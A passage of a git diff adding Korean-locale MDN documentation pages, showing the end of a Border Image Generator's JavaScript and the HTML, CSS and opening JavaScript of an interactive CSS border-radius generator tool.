+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+
+<div>{{ EmbedLiveSample('Border_Image_Generator', '100%', '1270px') }}</div>
diff --git a/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html
new file mode 100644
index 0000000000..a5db192618
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/border-radius_generator/index.html
@@ -0,0 +1,1601 @@
+---
+title: Border-radius 생성기
+slug: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+tags:
+  - CSS
+  - CSS Borders
+  - Tools
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+---
+<p>이 도구를 사용해 CSS3 {{cssxref("border-radius")}} 값을 생성할 수 있습니다.</p>
+
+<div style="display: none;">
+<h2 id="border-radius-generator" name="border-radius-generator">border-radius</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="preview" class="col span_12"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom"&gt;
+                &lt;/div&gt;
+
+                &lt;div id="radius-ui-sliders"&gt;
+                    &lt;div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div id="controls" class="group section"&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="dimensions"&gt;
+                &lt;div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"&gt;&lt;/div&gt;
+
+                &lt;div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="radius-lock"&gt;
+                &lt;div class="info"&gt; rounded corner &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-left'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-left'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="unit-selection"&gt;
+                &lt;div class="info"&gt; select border units &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+/*
+ * Preview Area
+ */
+
+#preview {
+	height: 500px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	text-align: center;
+	overflow: hidden;
+	position: relative;
+}
+
+#preview .content {
+	width: 100%;
+	height: 100%;
+	display: block;
+}
+
+#preview input {
+	color: #333;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+}
+
+#subject {
+	width: 400px;
+	height: 150px;
+	margin: 0 auto;
+	border: 3px solid #C60;
+	background: #FFF;
+	position: relative;
+}
+
+.radius {
+	width: 50%;
+	height: 50%;
+	border: 1px solid #CCC;
+	display: none;
+	position: absolute;
+	z-index: 1;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.handle {
+	width: 16px;
+	height: 16px;
+	position: absolute;
+	z-index: 2;
+}
+
+.handle-top-left {
+	top: -12px;
+	left: -12px;
+	cursor: se-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top left no-repeat;
+}
+
+.handle-top-right {
+	top: -12px;
+	right: -12px;
+	cursor: sw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") top right no-repeat;
+}
+
+.handle-bottom-right {
+	bottom: -12px;
+	right: -12px;
+	cursor: nw-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom right no-repeat;
+}
+
+.handle-bottom-left {
+	bottom: -12px;
+	left: -12px;
+	cursor: ne-resize;
+	background: url("https://mdn.mozillademos.org/files/5677/resize-handle.png") bottom left no-repeat;
+}
+
+
+.radius-container {
+	position: absolute;
+	display : block;
+	z-index: 1;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* TOP LEFT */
+#top-left {
+	top: 0;
+	left: 0;
+}
+
+#top-left .radius {
+	border-top-left-radius: 100%;
+	top: 0;
+	left: 0;
+}
+
+/* TOP RIGHT */
+#top-right {
+	top: 0;
+	right: 0;
+}
+
+#top-right .radius {
+	border-top-right-radius: 100%;
+	top: 0;
+	right: 0;
+}
+
+/* BOTTOM RIGHT */
+#bottom-right {
+	bottom: 0;
+	right: 0;
+}
+
+#bottom-right .radius {
+	border-bottom-right-radius: 100%;
+	bottom: 0;
+	right: 0;
+}
+
+/* BOTTOM lEFT */
+#bottom-left {
+	bottom: 0;
+	left: 0;
+}
+
+#bottom-left .radius {
+	border-bottom-left-radius: 100%;
+	bottom: 0;
+}
+
+/* INPUT SLIDERS */
+
+#preview .ui-input-slider {
+	margin: 10px;
+	position: absolute;
+	z-index: 10;
+}
+
+#radius-ui-sliders {
+	width: 100%;
+	height: 100%;
+	min-height: 75px;
+	min-width: 150px;
+	padding: 20px 50px;
+	top: -20px;
+	left: -50px;
+	position: relative;
+}
+
+#tlr {
+	top: -30px;
+	left: -50px;
+	display: none;
+}
+
+#tlw {
+	top: -30px;
+	left: 30px;
+}
+
+#tlh {
+	top: 20px;
+	left: -50px;
+}
+
+#trr {
+	top: -30px;
+	right: -50px;
+	display: none;
+}
+
+#trw {
+	top: -30px;
+	right: 30px;
+}
+
+#trh {
+	top: 20px;
+	right: -50px;
+}
+
+#brr {
+	bottom: -30px;
+	right: -50px;
+	display: none;
+}
+
+#brw {
+	bottom: -30px;
+	right: 30px;
+}
+
+#brh {
+	bottom: 20px;
+	right: -50px;
+}
+
+#blr {
+	bottom: -30px;
+	left: -50px;
+	display: none;
+}
+
+#blw {
+	bottom: -30px;
+	left: 30px;
+}
+
+#blh {
+	bottom: 20px;
+	left: -50px;
+}
+
+#preview .ui-input-slider-left, #preview .ui-input-slider-right {
+	visibility: hidden;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-left {
+	visibility: visible;
+}
+
+#preview .ui-input-slider-container:hover .ui-input-slider-right {
+	visibility: visible;
+}
+
+/*
+ *
+ */
+
+#unit-selection {
+	width: 200px;
+	height: 75px;
+	margin: 30px 30px 0 0;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: right;
+}
+
+#unit-selection .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#unit-selection .dropdown {
+	width: 50px;
+	height: 20px;
+	margin: 10px;
+	padding: 0;
+	border-radius: 3px;
+	position: absolute;
+	overflow: hidden;
+}
+
+#unit-selection select {
+	width: 50px;
+	height: 20px;
+	marign: 0;
+	padding: 0 0 0 10px;
+	background: #555;
+	border: 1px solid #555;
+	border: none;
+	color: #FFF;
+	float: left;
+}
+
+#unit-selection select option {
+	background: #FFF;
+	color: #333;
+}
+
+#unit-selection select:hover {
+	cursor: pointer;
+}
+
+#unit-selection .dropdown:before {
+	content: "";
+	width: 18px;
+	height: 20px;
+	display: block;
+	background-color: #555;
+	background-image: url("https://mdn.mozillademos.org/files/5675/dropdown.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+	top: 0px;
+	right: 0px;
+	position: absolute;
+	z-index: 1;
+	pointer-events: none;
+}
+
+#unit-selection .unit-top-left {
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-left-w {
+	top: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-top-left-h {
+	top: 20px;
+	left: -37px;
+}
+
+#unit-selection .unit-top-right {
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-top-right-w {
+	top: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-top-right-h {
+	top: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-right {
+	bottom: 0;
+	right: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-right-w {
+	bottom: -22px;
+	right: 30px;
+}
+
+#unit-selection .unit-bottom-right-h {
+	bottom: 20px;
+	right: -37px;
+}
+
+#unit-selection .unit-bottom-left {
+	bottom: 0;
+	left: 0;
+	display: none;
+}
+
+#unit-selection .unit-bottom-left-w {
+	bottom: -22px;
+	left: 30px;
+}
+
+#unit-selection .unit-bottom-left-h {
+	bottom: 20px;
+	left: -37px;
+}
+
+/******************************************************************************/
+/******************************************************************************/
+
+
+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox &gt; label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js"><code class="language-js">'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
